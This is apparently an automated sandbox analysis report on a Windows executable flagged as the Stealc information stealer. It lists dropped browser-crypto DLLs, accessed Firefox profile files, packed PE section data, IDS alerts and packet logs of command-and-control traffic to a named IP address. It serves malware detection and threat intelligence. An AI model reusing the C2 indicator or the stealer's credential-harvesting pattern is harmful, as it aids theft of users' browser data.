Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947509688583029
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'848'832 bytes
MD5:	5afb9534ffc28bb96c59668c9196f379
SHA1:	d15b6cf2bd3ab7e53875a6253658f895920f3357
SHA256:	5da526fc89a10ac238522ae3ac5a7b896065d737bee01a9f6cae3bffd08bde67
SHA512:	f8a18a97ae33ad69c9a4b149d66887599b63965196c797e03c03151066d199c535fd102f069e675311dffe5e3802f0e145d2324e48e5b29bdebe6aaa42b24069
SSDEEP:	49152:QLQwycUZoUbl2OXBOVUYzOZTKJ5hfKD4tgr:HwbU6Ux2MOVUpTKJ5hfW0g
TLSH:	2F8533A2770F85E1E9AFD2320A1BFC57B0C1B50DA60C357A885EA2D1593E450B743FA7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9D9CD8BE8Ah
unpcklps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F9D9CD8DE85h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	f49f7fc1f7478dd7c651495e6f82f1c5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a4000	0x200	5a0842b2d55cdc59a7f154171e0b37da	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uopfehhk	0x502000	0x19e000	0x19d200	fff456b11f0f7f8a4d86f9c85f812e8c	False	0.995080843419062	data	7.9546102104307685	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
peacmhdg	0x6a0000	0x1000	0x600	98c6953bbc9613f4a21c63fadf049da4	False	0.5950520833333334	data	5.130279678204032	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a1000	0x3000	0x2200	8a24df1a494093f651c91435ec4fc178	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T14:49:15.472359+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:15.704566+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:15.840934+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.6	49720	TCP
2024-10-13T14:49:16.067055+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:16.162982+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.6	49720	TCP
2024-10-13T14:49:17.277204+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:17.896200+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:23.140918+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:24.221363+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:24.860553+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:25.406245+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:27.118397+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:27.570360+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49720	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 14:49:14.430452108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:14.435482979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:14.439518929 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:14.440120935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:14.445020914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:15.156559944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:15.159522057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:15.220819950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:15.225672007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:15.472271919 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:15.472358942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:15.473932981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:15.478876114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:15.704441071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:15.704473019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:15.704566002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:15.704566956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:15.834296942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:15.834382057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:15.835951090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:15.840934038 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.066936970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.066976070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.067054987 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.067105055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.067167997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.067215919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.067222118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.067251921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.067265987 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.067284107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.067317009 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.067332983 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.067797899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.067853928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.067857027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.067882061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.067909002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.067924023 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.155931950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.156060934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.157851934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.162981987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.388115883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.388246059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.408195972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.408229113 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:16.413264036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.413306952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.413364887 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.413393021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.413420916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.413453102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:16.413480043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.276902914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.277204037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.668684006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.673508883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.896109104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.896117926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.896199942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.896950006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.896961927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.896970987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.896994114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.897026062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.897377968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.897387981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.897397041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.897420883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.897454023 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.897865057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.897906065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.897911072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.897914886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.897968054 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.897968054 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.898156881 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.898200989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.898236990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.898268938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.898437977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.898447990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.898480892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.984972954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.984987974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:17.985044956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:17.985096931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.030185938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.030198097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.030206919 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.030283928 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.030324936 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.030638933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.030653954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.030694008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.030708075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.030777931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.030786991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.030822039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.030837059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.031409025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.031461000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.031461954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.031501055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.031586885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.031595945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.031639099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.032377958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.032428980 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.032429934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.032468081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.032505989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.032514095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.032561064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.033626080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.033643007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.033651114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.033668995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.033696890 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.034521103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.034532070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.034543991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.034564972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.034600019 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.035204887 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.035257101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.035260916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.035269976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.035303116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.035777092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.035811901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.035820007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.035834074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.035860062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.036829948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.036839962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.036849022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.036879063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.036907911 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.037589073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.037640095 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.037646055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.037687063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.037691116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.037699938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.037741899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.163526058 CEST	80	49720	185.215.113.37	192.168.2.6
